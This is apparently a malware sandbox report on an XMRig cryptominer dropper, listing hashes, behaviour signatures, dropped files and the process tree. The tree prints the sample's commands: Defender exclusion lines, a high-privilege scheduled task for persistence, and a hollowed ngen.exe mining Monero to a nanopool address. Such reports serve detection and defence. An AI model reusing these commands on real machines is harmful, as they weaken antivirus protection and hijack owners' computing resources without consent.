Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    148s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230621-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230621-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27/06/2023, 13:49

General

  • Target

    file.exe

  • Size

    1.8MB

  • MD5

    08bd9f40d1e009c3ea0475aed29e597a

  • SHA1

    93eb930b3b54dce404916daa9d7761aa7f23bc4e

  • SHA256

    f0f756cdd6211e7ccaa203844abf95f2993dd2c1033fde42f5e17ba10adb67e6

  • SHA512

    ccc43b7355cf1f0d25ad7dddfde189e7d288e489921ee520861a12921ed2a9b12438a28f86bc14c6c69902ebd6d73e3d0db3ad63a2954ca1f7960d74eb56fe92

  • SSDEEP

    49152:3JfC7C2mJOTXP3NWpItn+id8pq+Z6Q2Xr7oX1f00/gZv+1X2J+lX:7XTU+1X2JG

Score
10/10

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 10 IoCs
  • .NET Reactor proctector 3 IoCs

    Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1076
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5044
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5040
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp1E55.tmp.bat""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3464
      • C:\Windows\system32\timeout.exe
        timeout 3
        3⤵
        • Delays execution with timeout.exe
        PID:4748
      • C:\ProgramData\Timeupper\HVPIO.exe
        "C:\ProgramData\Timeupper\HVPIO.exe"
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4792
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2568
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4088
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "HVPIO" /tr "C:\ProgramData\Timeupper\HVPIO.exe"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2760
          • C:\Windows\system32\schtasks.exe
            schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "HVPIO" /tr "C:\ProgramData\Timeupper\HVPIO.exe"
            5⤵
            • Creates scheduled task(s)
            PID:3956
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe -o xmr-eu1.nanopool.org:14433 -u 87N2CazJHoaY8ofHfhpKfj2SGmfMDHPXkgZNgeArkrabCc8vC81NNzxdN6Rjfemw5TGmZ2vbDrC6wDxqdGf7eqqYVBUpMZD --tls --coin monero --max-cpu-usage=50 --donate-level=1 -opencl
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          PID:5072

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\ProgramData\Timeupper\HVPIO.exe

    Filesize

    760.0MB

    MD5

    387ec0d7371ac73b1a23decaf135c517

    SHA1

    1e5afc3ee3e9e754c61d0322b9f775d3b5f543a0

    SHA256

    f2714dd2fed63ffd60082c75019b3152a6dec26a3e665eb339f67e2d401a5006

    SHA512

    236d9156927ca4d72bd69b0146c7295e37f4fb7a7f4f691567a03fb0e19027afd17bb3e81d04f2c33fc7e29725104459fc824a7ad628deca5afe0d4f6d6eda30

  • C:\ProgramData\Timeupper\HVPIO.exe

    Filesize

    760.0MB

    MD5

    387ec0d7371ac73b1a23decaf135c517

    SHA1

    1e5afc3ee3e9e754c61d0322b9f775d3b5f543a0

    SHA256

    f2714dd2fed63ffd60082c75019b3152a6dec26a3e665eb339f67e2d401a5006

    SHA512

    236d9156927ca4d72bd69b0146c7295e37f4fb7a7f4f691567a03fb0e19027afd17bb3e81d04f2c33fc7e29725104459fc824a7ad628deca5afe0d4f6d6eda30

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    d85ba6ff808d9e5444a4b369f5bc2730

    SHA1

    31aa9d96590fff6981b315e0b391b575e4c0804a

    SHA256

    84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

    SHA512

    8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    944B

    MD5

    cadef9abd087803c630df65264a6c81c

    SHA1

    babbf3636c347c8727c35f3eef2ee643dbcc4bd2

    SHA256

    cce65b73cdfe9304bcd5207913e8b60fb69faa20cd3b684f2b0343b755b99438

    SHA512

    7278aa87124abb382d9024a645e881e7b7cf1b84e8894943b36e018dbf0399e6858392f77980b599fa5488e2e21bf757a0702fe6419417edac93b68e0c2ec085

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    944B

    MD5

    cadef9abd087803c630df65264a6c81c

    SHA1

    babbf3636c347c8727c35f3eef2ee643dbcc4bd2

    SHA256

    cce65b73cdfe9304bcd5207913e8b60fb69faa20cd3b684f2b0343b755b99438

    SHA512

    7278aa87124abb382d9024a645e881e7b7cf1b84e8894943b36e018dbf0399e6858392f77980b599fa5488e2e21bf757a0702fe6419417edac93b68e0c2ec085

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    944B

    MD5

    26403455115fbc3da2573a37cc28744a

    SHA1

    6a9bf407036a8b9d36313462c0257f53b4ee9170

    SHA256

    222a7adb94c5e82df6466a4afce283e905c69f7feb18b3e34583b5cbbd88b352

    SHA512

    be96d478e5d804b8daf805ad28d5eba644fb63a59a799273e029c8047a036f8aac74098efcadee0e4f405dcd1c0a689a1e8eb23f51a93634ed44f5a7c821beb6

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_d2hanzlm.m52.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\tmp1E55.tmp.bat

    Filesize

    143B

    MD5

    ea96155803775e576418bc4411b55203

    SHA1

    e6d65cf7961ff1bbf01d13140d522637857b5f66

    SHA256

    0a8e143ae58361bbb03e86596f448368b646d303bf52d4372d9e3e9dc327c5c9

    SHA512

    431d6a09e98515beb81d4b210c272a0de63b1c713e37a275288146ed2af04e4d3420f59720846457075ade249abf141406bd8aadcf8f84df76b01d1788f8c43f

  • memory/1076-135-0x0000000003280000-0x0000000003290000-memory.dmp

    Filesize

    64KB

  • memory/1076-136-0x0000000000D80000-0x0000000000D81000-memory.dmp

    Filesize

    4KB

  • memory/1076-133-0x0000000000280000-0x000000000044C000-memory.dmp

    Filesize

    1.8MB

  • memory/4792-172-0x0000000001880000-0x0000000001881000-memory.dmp

    Filesize

    4KB

  • memory/4792-171-0x00000000026B0000-0x00000000026C0000-memory.dmp

    Filesize

    64KB

  • memory/4792-173-0x00000000026B0000-0x00000000026C0000-memory.dmp

    Filesize

    64KB

  • memory/5044-137-0x000002B1706F0000-0x000002B170700000-memory.dmp

    Filesize

    64KB

  • memory/5044-147-0x000002B170650000-0x000002B170672000-memory.dmp

    Filesize

    136KB

  • memory/5072-202-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/5072-201-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/5072-203-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/5072-204-0x0000020912E70000-0x0000020912E90000-memory.dmp

    Filesize

    128KB

  • memory/5072-205-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/5072-206-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/5072-207-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/5072-208-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/5072-209-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/5072-210-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/5072-211-0x00000209A5020000-0x00000209A5060000-memory.dmp

    Filesize

    256KB

  • memory/5072-212-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB